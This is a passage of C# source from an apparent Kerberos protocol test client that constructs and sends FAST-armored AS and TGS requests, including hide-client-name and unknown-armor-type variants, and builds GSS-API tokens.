KerberosTgsRequest tgsRequest = new KerberosTgsRequest(KerberosConstValue.KERBEROSV5, kdcReqBody, new Asn1SequenceOf<PA_DATA>(elements), Context.TransportType);
this.SendPdu(tgsRequest);
this.testSite.Log.Add(LogEntryKind.Debug, "Send FAST TGS request.");
}
/// <summary>
/// Create and send FAST AS request
/// </summary>
/// <param name="kdcOptions">KDC options</param>
/// <param name="innerSeqPaData">A sequence of preauthentication data in FAST request</param>
/// <param name="outerSeqPaData">A sequence of preauthentication data</param>
/// <param name="subKey">Sub-session key for authenticator in FAST armor field</param>
/// <param name="fastOptions">FAST options</param>
/// <param name="apOptions">AP options in FAST armor field</param>
public void SendAsRequestWithFastHideCName(
KdcOptions kdcOptions,
string cName,
Asn1SequenceOf<PA_DATA> innerSeqPaData,
Asn1SequenceOf<PA_DATA> outerSeqPaData,
EncryptionKey subKey,
ApOptions apOptions)
{
var fastOptions = new Protocols.TestTools.StackSdk.Security.KerberosV5.Preauth.FastOptions(
KerberosUtility.ConvertInt2Flags((int)FastOptionFlags.Hide_Client_Names));
Context.Subkey = subKey;
string sName = KerberosConstValue.KERBEROS_SNAME;
string domain = this.Context.Realm.Value;
PrincipalName sname =
new PrincipalName(new KerbInt32((int)PrincipalType.NT_SRV_INST), KerberosUtility.String2SeqKerbString(sName, domain));
KDC_REQ_BODY kdcReqBody = CreateKdcRequestBody(kdcOptions, sname);
kdcReqBody.cname = new PrincipalName(new KerbInt32((int)PrincipalType.NT_PRINCIPAL), KerberosUtility.String2SeqKerbString(cName));
var pafxfast = CreateAsPaFxFast(subKey, fastOptions, apOptions, innerSeqPaData, sName, kdcReqBody);
PA_DATA[] elements;
if (outerSeqPaData != null && outerSeqPaData.Elements.Length > 0)
{
elements = new PA_DATA[outerSeqPaData.Elements.Length + 1];
Array.Copy(outerSeqPaData.Elements, elements, outerSeqPaData.Elements.Length);
elements[outerSeqPaData.Elements.Length] = pafxfast.Data;
}
else
{
elements = new PA_DATA[] { pafxfast.Data };
}
Asn1SequenceOf<PA_DATA> seqPaData = new Asn1SequenceOf<PA_DATA>();
KerberosAsRequest asRequest = this.CreateAsRequest(kdcReqBody, new Asn1SequenceOf<PA_DATA>(elements));
this.SendPdu(asRequest);
this.testSite.Log.Add(LogEntryKind.Debug, "Send AS Request with FAST PA-DATA.");
}
/// <summary>
/// Create and send FAST AS request with an unknown armor type
/// </summary>
/// <param name="kdcOptions">KDC options</param>
/// <param name="innerSeqPaData">A sequence of preauthentication data in FAST request</param>
/// <param name="outerSeqPaData">A sequence of preauthentication data</param>
/// <param name="subKey">Sub-session key for authenticator in FAST armor field</param>
/// <param name="fastOptions">FAST options</param>
/// <param name="apOptions">AP options in FAST armor field</param>
/// <param name="armorType">armorType</param>
public void SendAsRequestWithFast(
KdcOptions kdcOptions,
Asn1SequenceOf<PA_DATA> innerSeqPaData,
Asn1SequenceOf<PA_DATA> outerSeqPaData,
EncryptionKey subKey,
FastOptions fastOptions,
ApOptions apOptions,
KrbFastArmorType armorType
)
{
Context.Subkey = subKey;
string sName = KerberosConstValue.KERBEROS_SNAME;
string domain = this.Context.Realm.Value;
PrincipalName sname =
new PrincipalName(new KerbInt32((int)PrincipalType.NT_SRV_INST), KerberosUtility.String2SeqKerbString(sName, domain));
KDC_REQ_BODY kdcReqBody = CreateKdcRequestBody(kdcOptions, sname);
var pafxfast = CreateAsPaFxFast(subKey, fastOptions, apOptions, innerSeqPaData, sName, kdcReqBody, armorType);
PA_DATA[] elements;
if (outerSeqPaData != null && outerSeqPaData.Elements.Length > 0)
{
elements = new PA_DATA[outerSeqPaData.Elements.Length + 1];
Array.Copy(outerSeqPaData.Elements, elements, outerSeqPaData.Elements.Length);
elements[outerSeqPaData.Elements.Length] = pafxfast.Data;
}
else
{
elements = new PA_DATA[] { pafxfast.Data };
}
Asn1SequenceOf<PA_DATA> seqPaData = new Asn1SequenceOf<PA_DATA>();
KerberosAsRequest asRequest = this.CreateAsRequest(kdcReqBody, new Asn1SequenceOf<PA_DATA>(elements));
this.SendPdu(asRequest);
this.testSite.Log.Add(LogEntryKind.Debug, "Send AS Request with FAST PA-DATA.");
}
public PaFxFastReq CreateTgsPaFxFast(
EncryptionKey armorKey,
KerberosTicket armorTicket,
FastOptions fastOptions,
ApOptions apOptions,
Asn1SequenceOf<PA_DATA> seqPaData,
string sName,
byte[] apReq,
IFastArmor armor = null
)
{
string domain = this.Context.Realm.Value;
PrincipalName sname = new PrincipalName(new KerbInt32((int)PrincipalType.NT_SRV_INST),
KerberosUtility.String2SeqKerbString(sName.Split('/')));
KDC_REQ_BODY innerKdcReqBody = CreateKdcRequestBody(KdcOptions.CANONICALIZE | KdcOptions.FORWARDABLE | KdcOptions.RENEWABLE, sname);
//Generate checksum
var checksumType = KerberosUtility.GetChecksumType(Context.SelectedEType);
var chksum = KerberosUtility.GetChecksum(
armorKey.keyvalue.ByteArrayValue,
apReq,
(int)KeyUsageNumber.FAST_REQ_CHECKSUM,
checksumType);
Checksum checkSum = new Checksum(new KerbInt32((int)checksumType), new Asn1OctetString(chksum));
KerberosFastRequest fastReq = new KerberosFastRequest(fastOptions, seqPaData, innerKdcReqBody);
KerberosArmoredRequest armoredReq
= new KerberosArmoredRequest(armor, checkSum, (long)Context.SelectedEType, armorKey.keyvalue.ByteArrayValue, fastReq);
PA_FX_FAST_REQUEST paFxFastReq = new PA_FX_FAST_REQUEST();
paFxFastReq.SetData(PA_FX_FAST_REQUEST.armored_data, armoredReq.FastArmoredReq);
PaFxFastReq paFxfast = new PaFxFastReq(paFxFastReq);
return paFxfast;
}
/// <summary>
/// Create AP request and encode to GSSAPI token
/// </summary>
/// <param name="apOptions">AP options</param>
/// <param name="data">Authorization data</param>
/// <param name="subkey">Sub-session key in authenticator</param>
/// <param name="checksumFlags">Checksum flags</param>
/// <returns></returns>
public byte[] CreateGssApiToken(ApOptions apOptions, AuthorizationData data, EncryptionKey subkey, ChecksumFlags checksumFlags,
Microsoft.Protocols.TestTools.StackSdk.Security.KerberosLib.KerberosConstValue.GSSToken gssToken = KerberosConstValue.GSSToken.GSSSPNG)
{
APOptions options = new APOptions(KerberosUtility.ConvertInt2Flags((int)apOptions));
Authenticator authenticator = CreateAuthenticator(Context.Ticket, data, subkey, checksumFlags);
KerberosApRequest request = new KerberosApRequest(
Context.Pvno,
options,
Context.Ticket,
authenticator,
KeyUsageNumber.AP_REQ_Authenticator
);
return KerberosUtility.AddGssApiTokenHeader(request, this.oidPkt, gssToken);
}
public PaFxFastReq CreateAsPaFxFast(
EncryptionKey subKey,
FastOptions fastOptions,
ApOptions apOptions,
Asn1SequenceOf<PA_DATA> seqPaData,
string sName,
KDC_REQ_BODY kdcReqBody,
KrbFastArmorType armorType
)
{
string domain = this.Context.Realm.Value;
PrincipalName sname =
new PrincipalName(new KerbInt32((int)PrincipalType.NT_SRV_INST), KerberosUtility.String2SeqKerbString(sName, domain));
var armorKey = KerberosUtility.MakeArmorKey(
Context.SelectedEType,
subKey.keyvalue.ByteArrayValue,
Context.ArmorSessionKey.keyvalue.ByteArrayValue);
Context.FastArmorkey = new EncryptionKey(new KerbInt32((long)Context.SelectedEType), new Asn1OctetString(armorKey));
Asn1BerEncodingBuffer encodebuf = new Asn1BerEncodingBuffer();
kdcReqBody.BerEncode(encodebuf);
var checksumType = KerberosUtility.GetChecksumType(Context.SelectedEType);
var chksum = KerberosUtility.GetChecksum(
armorKey,
encodebuf.Data,
(int)KeyUsageNumber.FAST_REQ_CHECKSUM,
checksumType);
Checksum checkSum = new Checksum(new KerbInt32((int)checksumType), new Asn1OctetString(chksum));
Authenticator plaintextAuthenticator = CreateAuthenticator(Context.ArmorTicket, null, subKey);
KerberosApRequest apReq = new KerberosApRequest(Context.Pvno,
new APOptions(KerberosUtility.ConvertInt2Flags((int)apOptions)),
Context.ArmorTicket,
plaintextAuthenticator,
KeyUsageNumber.AP_REQ_Authenticator);
KDC_REQ_BODY innerKdcReqBody = CreateKdcRequestBody(KdcOptions.CANONICALIZE | KdcOptions.FORWARDABLE | KdcOptions.RENEWABLE, sname);
KerberosFastRequest fastReq = new KerberosFastRequest(fastOptions, seqPaData, innerKdcReqBody);
FastArmorApRequest fastArmor = new FastArmorApRequest(apReq.Request);
fastArmor.armorType = armorType;
KerberosArmoredRequest armoredReq
= new KerberosArmoredRequest(fastArmor, checkSum, (long)Context.SelectedEType, armorKey, fastReq);
PA_FX_FAST_REQUEST paFxFastReq = new PA_FX_FAST_REQUEST();
paFxFastReq.SetData(PA_FX_FAST_REQUEST.armored_data, armoredReq.FastArmoredReq);
PaFxFastReq paFxfast = new PaFxFastReq(paFxFastReq);
return paFxfast;
}